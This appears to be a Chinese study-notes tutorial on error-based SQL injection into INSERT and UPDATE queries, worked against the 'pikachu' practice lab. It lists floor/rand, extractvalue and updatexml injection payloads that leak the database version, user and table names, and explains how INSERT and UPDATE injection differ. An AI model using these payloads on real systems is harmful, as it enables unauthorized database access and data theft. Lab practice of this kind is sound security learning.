👇常用报错函数注入公式👇
No.1:floor
' and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))#
No.2:extractvalue
' and extractvalue(1,concat(0x7e,(select user()),0x7e))#
No.3:updatexml
' and updatexml(1,concat(0x7e,(select user())),0x7e)#
start
一个常见注册功能点输入特殊字符,导致报错
查看php源码得到数据查询语句
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')
代入公式No.1
' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) or '
传入数据库查询语句:
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) or '']}',md5('{$getdata['test']}'),'{$getdata['']}','{$getdata['']}','{$getdata['']}','{$getdata['add']}')
方便查看我直接截个代码图
代码图解解释
1.红色框就是测试payload
2.test就是必填的密码
3.后面分别就是性别、手机、地址,因为没填所以为NULL
查询结果:
succed!
尝试查询pikachu数据库里的第一个数据表,payload如下:
' or (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),floor(rand(0)*2))) or '
结果
代入公式No.2
' or extractvalue(1,concat(0x7e,(select user()),0x7e)) or '
结果:sussed!
代入公式No.3
' or updatexml(1,concat(0x7e,(select user())),0x7e) or '
结果:sussed!
02
“update”注入
一个正常的修改个人资料数据包
调试数据包测试注入点,在参数后加入特殊字符报错
查看PHP源代码的核心代码
解释:
1.黄色框是传入数据库查询语句
2.红色箭头指向的四个参数是存入数据库的参数
利用公式No.3注入,因为这个比较简单直白,payload如下:
' and updatexml(1,concat(0x7e,(select user())),0x7e)#
则传入数据库的语句是
update member set sex='{$getdata['' and updatexml(1,concat(0x7e,(select user())),0x7e)#']}',phonenum='{$getdata['1']}',address='{$getdata['1']}',email='{$getdata['1']}' where username='{$_SESSION['sqli']['username']}'
因为payload后的#号把后面语句已经注释,所以实际执行语句
update member set sex='{$getdata['' and updatexml(1,concat(0x7e,(select user())),0x7e)#
结果:sussed!
01
“insert注入”和“update注入”区别
从“insert注入”和“update注入”的注入语句就可以看出有少许差异,而实质上确实有点区别。“insert注入”的主要功能点在插入表单,所以注入前后都需要用or来连接注入,不能用and连接并且后面语句不能注释,否则传入Mysql数据库的查询语句就会出现语句逻辑出错,无法进行注入。
“update注入”的主要功能点在更新表单,查看PHP源码的传入数据库命令可知,在这种情况下如果存在报错注入,可以直接用and连接注入语句注释后面语句,实际传入数据库的语句并不会出现逻辑错误。
End
!声明:本文章纯属于个人学习笔记,仅提供学习交流,切勿用于违法犯罪。